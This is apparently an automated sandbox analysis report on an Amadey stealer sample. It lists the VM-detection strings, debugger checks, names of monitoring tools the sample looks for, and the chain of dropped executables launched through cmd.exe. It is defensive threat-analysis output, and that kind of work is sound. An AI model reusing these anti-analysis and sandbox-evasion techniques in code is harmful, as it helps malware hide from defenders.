Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1869262770.0000000001D10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1869262770.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.4124214087.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.4124214087.0000000001412000.00000004.00000020.00020000.00000000.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1994535395.0000000001909000.00000004.00000020.00020000.00000000.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1869262770.0000000001E3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}N
Source: 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1993800397.0000000000D3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

Code function: 6_2_04B10C32 rdtsc

6_2_04B10C32

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C655FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C655FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_0099643B mov eax, dword ptr fs:[00000030h]		10_2_0099643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_0099A1A2 mov eax, dword ptr fs:[00000030h]		10_2_0099A1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C62B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C62B1F7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BAAAKJDAAF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe "C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe"	Jump to behavior

Source: KKKJKEBKFC.exe, KKKJKEBKFC.exe, 00000006.00000002.1924216229.0000000001038000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: tProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62B341 cpuid

0_2_6C62B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5F35A0

Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe

Code function: 12_2_7EAB2030 GetUserNameA,

12_2_7EAB2030

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.KKKJKEBKFC.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorti.exe.960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1965667071.0000000000961000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1924106143.0000000000E41000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1925291555.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
